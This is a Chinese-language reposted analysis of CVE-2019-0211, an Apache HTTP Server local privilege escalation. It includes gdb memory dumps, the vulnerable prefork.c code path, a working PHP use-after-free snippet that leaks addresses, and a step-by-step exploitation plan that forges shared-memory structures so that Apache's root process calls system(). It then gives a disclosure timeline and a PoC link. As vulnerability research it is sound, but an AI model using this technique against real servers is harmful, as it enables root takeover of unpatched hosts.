CVE-2019-0211 Apache提权漏洞分析

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:从该漏洞涉及到三个函数

CVE-2019-0211 Apache提权漏洞分析

简介

2.4.172015109 日)到 2.4.38(201941)Apache HTTP 版本中,存在着一个可以通过数组越界调用任意构造函数的提权漏洞。这个漏洞可以通过重新启动 Apache 服务 (apache2ctl graceful) 来触发。在 Linux 默认配置中,每天会在早上 625 分自动运行一次该命令,从而重启日志文件的处理任务。

该漏洞涉及到三个函数 mod_prefork,mod_workermod_event 。后面的漏洞描述,分析和触发都主要从 mod_prefork 展开。

漏洞描述

MPM prefork 模式下,服务器主进程会运行在 root 权限下,管理一个单线程的进程池。低权限 (www-data)Worker 进程处理 HTTP 请求头。 Apache 通过共享包含有 scoreboard (包含诸如 PID 、请求等 Worker 进程信息)的共享内存空间( SHM )来处理 worker 进程返回的信息。每一个 Worker 进程都对应一个关联自身 PIDprocess_score 结构,拥有着对 SHM 的读写权限。

ap_scoreboard_image: 共享内存空间的指针

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
 
PID19447的Worker进程的共享内存空间
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447, 
  generation = 0, 
  quiescing = 0 '00', 
  not_accepting = 0 '00', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

Apache 重启的时候,它的主进程会关闭旧的 Worker 进程并生成新的来替换掉。在这里主进程会用 all_bucket 这一函数来使用所有旧的 Worker 进程占用的 bucket (内存空间)值。

all_buckets

(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

这里没有进行边界检查,也就是说任意一个 Worker 进程都可以改变自身 bucket 的值来指向共享内存区域,从而在重启的时候控制 prefork_child_bucket 函数的结构。最终在权限恢复之前,通过 mutex->meth->child_init() 这一调用过程,实现暂时以 root 权限调用函数。

存在风险的代码区域

理一遍 server/mpm/prefork/prefork.c 来看下是什么地方导致了这一漏洞。

(译者注: L 数字代表该文件中对应的代码行数)

  • 一个恶意的 Worker 进程改变自身共享内存中自身的 bucket 的值,从而指向共享内存空间。
  • 在第二天的早上 6.25 分, logrotate 请求 Apache 重启一次服务。
  • 之后 Apache 主进程会关闭第一个 Worker 进程,生成新的 Worker 级才能哼。
  • 这个过程是通过发送 SIGUSR1 信号给 Worker 进程来实现的, Worker 进程收到信号后会立刻退出。
  • 然后调用 prefork_run()L853 )函数来生成新的 Worker 进程。由于存在 retained->mpm->was_graceful 这一过程, Worker 进程不会立刻重启。
  • 在进入主循环( L933 )并监控旧的 Worker 进程的 PID ,可以看到旧的 Worker 进程关闭后, ap_wait_or_timeout() 函数会返回它 PID 的值( L940
  • process_scoreindex 值以及 PID 值会存储在 child_slot(L948)
  • 如果删除旧的 Worker 进程没有报错( L969 )的话, make_child() 函数会调用 ap_get_scoreboard_process(child_slot)->buctet 的值作为参数( L985 ),正如之前提到的一样, bucket 的值已经被恶意 Worker 给修改了。
  • make_child() 函数会 fork(L671) 主进程来生成新的子进程。
  • OOB 会读取 (L691) 发生的过程,导致 my_bucket 函数遭到攻击者的控制。
  • child_main() 函数会调用 (L722) ,相比 (L433) 处更快调用函数。
  • SAFE_ACCEPT(<code>) 只有在 Apache 监听两个或更多的端口时执行 <code> ,一般来说服务器通常监听着 HTTP(80)HTTPS(443)
  • 假设 <code> 成功执行,会调用 apr_proc_mutex_child_init() 函数,从而通过 (*mutex)->meth->child_init(mutex, pool, fname) 的调用过程来控制互斥锁。
  • 在执行完 (L446) 后权限恢复到正常的低权限。

利用过程:

利用过程包括四个步骤: 1 、获取 Worker 进程的读写权限 .2 、向共享内存空间( SHM )写入一个假的 prefork_child_bucket 结构。 3 、将 all_bucket[bucket] 指向结构。 4 、等待构造的函数被调用。

这一过程的好处:

始终没有创建过主进程,所有过程都映射在访问 /proc/self/maps(ASLR/PIE 保护无效 ) 中,当一个 Worker 进程关闭或报错时,它会自动由主进程重新创建,所以不会有 DOS Apache 服务器的风险。

缺点:

PHP 不允许对 /proc/self/mem 的读写,也就是说我们没法直接编辑共享内存空间,只能等待重启的时候调用 all_bucket 函数。

1. 获取 Worker 进程的读写权限

PHP UAF0day 漏洞

由于 mod_prefork 函数经常和 mod_php 函数一起使用,因此可以从 CVE-2019-6977 这里下手实现漏洞的利用。我在写 exp 的过程中发现 PHP7.X 下的 UAF 0day 漏洞在 PHP5.X 中也能复现。

PHP UAF

<?php

 

class X extends DateInterval implements JsonSerializable

{

  public function jsonSerialize()

  {

    global $y, $p;

    unset($y[0]);

    $p = $this->y;

    return $this;

  }

}

 

function get_aslr()

{

  global $p, $y;

  $p = 0;

 

  $y = [new X('PT1S')];

  json_encode([1234 => &$y]);

  print("ADDRESS: 0x" . dechex($p) . "n");

 

  return $p;

}

 

get_aslr();

这里有一个 PHP 对象的 UAF :即使我们无法设置 $y[0](X 的一个实例 ) ,我们也可以利用 $this

UAF 的读写权限

我们想要实现两个目标:读取内存地址来找到 all_buckets 的位置,修改 SHM 来改变 bucket 的值,从而加上我们自己的结构。

好在 PHP 的堆正好在这两片地址区域的前面。

PHP 堆的内存地址, ap_scoreboard_image->*all_buckets

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p

7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

 

(gdb) p *ap_scoreboard_image

$14 = {

  global = 0x7f4a9323e008,

  parent = 0x7f4a9323e020,

  servers = 0x55835eddea78

}

(gdb) p all_buckets

$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

考虑到我们触发了 PHP 对象中的 UAF ,对象中的任意属性都属于 UAF 漏洞的范围。我们可以将 zend_object UAF 改为 zend_string ,从而获得一个 zend_string 结构。

(gdb) ptype zend_string

type = struct _zend_string {

    zend_refcounted_h gc;

    zend_ulong h;

    size_t len;

    char val[1];

}

len 属性包括了字符串的长度,通过增加它,我们可以读写之后的内存空间,也就是说能访问到我们感兴趣的两个内存空间: SHMApacheall_buckets

找到 bucketindex 值和 all_bucket

我们需要改变 ap_scoreboard_image->parent[worker_id]->bucket 来获得特定的 worker_id 。好在这个结构每次都在共享内存空间的头部位置,很方便我们去定位。

共享内存空间和目标 process_socre 结构

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s

7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

 

(gdb) p ≈_scoreboard_image->parent[0]

$18 = (process_score *) 0x7f4a9323e020

(gdb) p ≈_scoreboard_image->parent[1]

$19 = (process_score *) 0x7f4a9323e044

要定位 all_bucket ,我们需要充分利用 prefork_child_bucket 结构,所以我们需要:

导入 bucket 值的结构

prefork_child_bucket {

    ap_pod_t *pod;

    ap_listen_rec *listeners;

    apr_proc_mutex_t *mutex; <--

}

 

apr_proc_mutex_t {

    apr_pool_t *pool;

    const apr_proc_mutex_unix_lock_methods_t *meth; <--

    int curr_locked;

    char *fname;

 

    ...

}

 

apr_proc_mutex_unix_lock_methods_t {

    unsigned int flags;

    apr_status_t (*create)(apr_proc_mutex_t *, const char *);

    apr_status_t (*acquire)(apr_proc_mutex_t *);

    apr_status_t (*tryacquire)(apr_proc_mutex_t *);

    apr_status_t (*release)(apr_proc_mutex_t *);

    apr_status_t (*cleanup)(void *);

    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--

    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);

    apr_lockmech_e mech;

    const char *name;

}

all_buckets[0]->mutex 会定位在同一个 all_buckets[0] 的内存区域,考虑到 meth 是一个静态结构,它会定位到 libaprdata 上,又因为 meth 指向了 libapr 的函数,所以每一个函数的指针都在 libaprtext 内。

到这里我们通过 /proc/self/maps 有了整片内存区域的地址信息,我们可以通过修改 Apache 内存的指针来找到 all_buckets[0] 对应的结构位置。

和我之前说的一样, all_bucket 的地址在每次重启都会发生变化。所以说每次触发我们的 expall_buckets 的地址都会发生变化。之后我们会研究如何解决这问题。

2. 向共享内存空间( SHM )写入假的 prefork_child_bucket 结构

实现函数的调用

如下是构造的调用函数的过程:

bucket_id = ap_scoreboard_image->parent[id]->bucket

my_bucket = all_buckets[bucket_id]

mutex = &my_bucket->mutex

apr_proc_mutex_child_init(mutex)

(*mutex)->meth->child_init(mutex, pool, fname)

CVE-2019-0211 Apache提权漏洞分析

调用适合的函数

要实现漏洞利用,我们需要让 (*mutex)->meth->child_init 指向 zend_object_std_dtor(zend_object *object) ,也就是下面的利用过程:

mutex = &my_bucket->mutex

[object = mutex]

zend_object_std_dtor(object)

ht = object->properties

zend_array_destroy(ht)

zend_hash_destroy(ht)

val = &ht->arData[0]->val

ht->pDestructor(val)

pDestructor 指向 system, &ht->arData[0]->val 是一个字符串 .

CVE-2019-0211 Apache提权漏洞分析

3.all_bucket[bucket] 指向结构

问题和解决思路

到这里为止,如果 all_bucket 的地址每次重启不会改变,那么我们的利用过程就完成了。

  • 通过 PHP 的堆获取内存的读写权限
  • 通过结构匹配来找到 all_bucket
  • 找到 SHM 中需要的结构
  • 改变 SHM 中的 process_score.bucket ,使得 all_bucket[bucket]->mutex 指向我们的 paylaod

但考虑到 all_bucket 地址的变化,我们还需要做两件事情来提高我们的执行成功率:喷射 SHM 内存区域,用上每一个 PID 对应的 process_socre 结构。

喷射共享的内存区域

如果 all_bucket 的新地址距离旧的地址不远, my_bucket 会指向最近的结构,从而喷射获得整个 SHM 中未被使用的空间,而不是仅仅获得一个指向 SHM 的指针。这里存在一个问题,结构在 zend_object 中也使用着,所以其中有 (5*8=)40 位属于 zend_object.properties ,导致用一个大的结构来占用这个小的空间也不行。所以我们采用两个结构 apr_proc_mutex_tzend_array 占用剩余的共享内存,令 prefork_child_bucket.mutexzend_object.properties 指向同一个地址,来解决这一问题。现在如果 all_bucket 在原始地址不远的地方, my_bucket 就会喷射到这一范围。

CVE-2019-0211 Apache提权漏洞分析

利用所有的 process_score

每一个 Apache Worker 进程都会有一个关联的 process_score 结构和对应的 bucketindex 值。无需改变 process_score.bucket 值,我们就能改变他们占用的内存范围,比如说:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00

ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00

ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这意味着我们的成功率随着 Apache Worker 进程数量的增多而变大。每次重新生成 Worker 进程的时候,都只有一个 Worker 进程会获得 buckek 编号,但考虑到其他 Worker 进程会报错而立刻重新生成,因此这不是什么问题。

复现成功率

不同的 Apache 服务器有着不同数量的 Worker 进程,有更多的 Worker 进程意味着我们可以用更少的内存来喷射互斥锁的地址,也就是说可以获取到更多的 all_buckets 函数的 index 信息。因此越多的 Worker 进程数量能够提高我们测试的成功率。在我的测试服务器(默认使用了 4Worker 进程)上有 80% 的成功率。

如果 exp 触发失败的话,它会在第二天重启的时候重新运行, Apache 的错误日志中不会包含 Worker 进程的错误信息。

4. 等到早上 6.25 查看 exp 是否成功触发

这里只需要等待就好了。

漏洞时间线

  • 2019-02-22 发送邮件 给security@apache.org ,提交了漏洞描述和 Poc
  • 2019-02-25 收到漏洞致谢, Apache 安全团队正在修复漏洞。
  • 2019-03-07 Apache 安全团队发送修复补丁进行测试,并提交 CVE 编号。
  • 2019-03-10 补丁测试通过。
  • 2019-04-01 发布新的 Apache HTTP version 2.4.39 版本。

Poc 地址:

https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache


以上所述就是小编给大家介绍的《CVE-2019-0211 Apache提权漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

PHP and MySQL Web Development (3rd Edition) (Developer's Library

PHP and MySQL Web Development (3rd Edition) (Developer's Library

Luke Welling、Laura Thomson / Sams / 2004-09-29 / USD 49.99

We've taken the best and made it even better. The third edition of the best-selling PHP and MySQL Web Development has been updated to include material and code on MySQL 5, PHP 5 and on PHPs object mod......一起来看看 《PHP and MySQL Web Development (3rd Edition) (Developer's Library》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具